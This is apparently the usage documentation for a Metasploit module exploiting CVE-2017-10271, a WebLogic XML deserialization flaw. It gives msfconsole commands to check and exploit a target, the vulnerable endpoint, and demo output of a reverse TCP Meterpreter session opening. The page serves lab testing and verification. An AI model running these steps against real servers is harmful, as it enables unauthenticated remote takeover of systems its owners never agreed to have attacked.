## Vulnerable Application


CVE-2017-10271 exploits an XML deserialization vulnerability in Oracle WebLogic via the AsyncResponseService component.  The exploit provides an unauthenticated attacker with remote arbitrary command execution.

Oracle Weblogic runs as a Java-based service in Windows, Linux, and Unix environments.  It is downloadable from Oracle once registered for an account.  For testing vulnerable environments, we used Weblogic 10.3.6 for Ubuntu (`wls1036_linux32.bin`), Weblogic 10.3.6 for Windows (`wls1036_dev.zip`).  For testing a non-vulnerable environment, we used Weblogic 12.2.1.2 (`fmw_12.2.1.2.0_wls.jar`) in combination with a JDK (`jdk-8u211-windows-x64.exe`).

## Verification Steps

#### Install the application
  1. Install the application using the binaries above, with both a WebLogic server and an admin server.
  2. When prompted, name the project `base_domain`.
  3. When prompted, use a development environment instead of a production environment.
  4. When prompted, keep the default port of TCP/7001.
  5. When prompted, provide a username and password, and make a note of them.
  6. Upon completion of the installer, find and execute the admin server.  On Windows: `C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\startWebLogic.cmd`.  On Linux: `~/Oracle/Middleware/user_projects/base_domain/bin/startWebLogic.sh`
  7. You may be prompted for the username and password you generated during the install process.
  8. Wait for the output: `<Server state changed to RUNNING.>`

#### Checking for the vulnerability
  1. Start msfconsole
  2. `use exploit/multi/misc/weblogic_deserialize_asyncresponseservice`
  3. Configure RHOSTS to the target address, and set RPORT if the default port is not being used.
  4. Run the `check` method to confirm exploitability.
  5. Look for the following output:

```
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > check
[+] 172.16.135.128:8088 - The target is vulnerable.
```

#### Exploiting the vulnerability
  1. Follow the steps in the previous "checking" section.
  2. Set the operating system of the target (eg. `set TARGET Windows`)
  3. Configure the payload and payload parameters.
  4. `run`

## Options

  **TARGETURI** : Set this to the AsyncResponseService uri, normally it should be `/_async/asyncresponseservice`. You can also set `VHOST` instead to handle virtual hosts.

## Demo

```
msf5 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > exploit

[*] Started reverse TCP handler on 172.16.135.1:4444 
[*] Generating payload...
[*] Sending payload...
[*] Sending stage (179779 bytes) to 172.16.135.128
[*] Meterpreter session 1 opened (172.16.135.1:4444 -> 172.16.135.128:49266) at 2019-05-22 14:16:03 -0500

meterpreter >
```
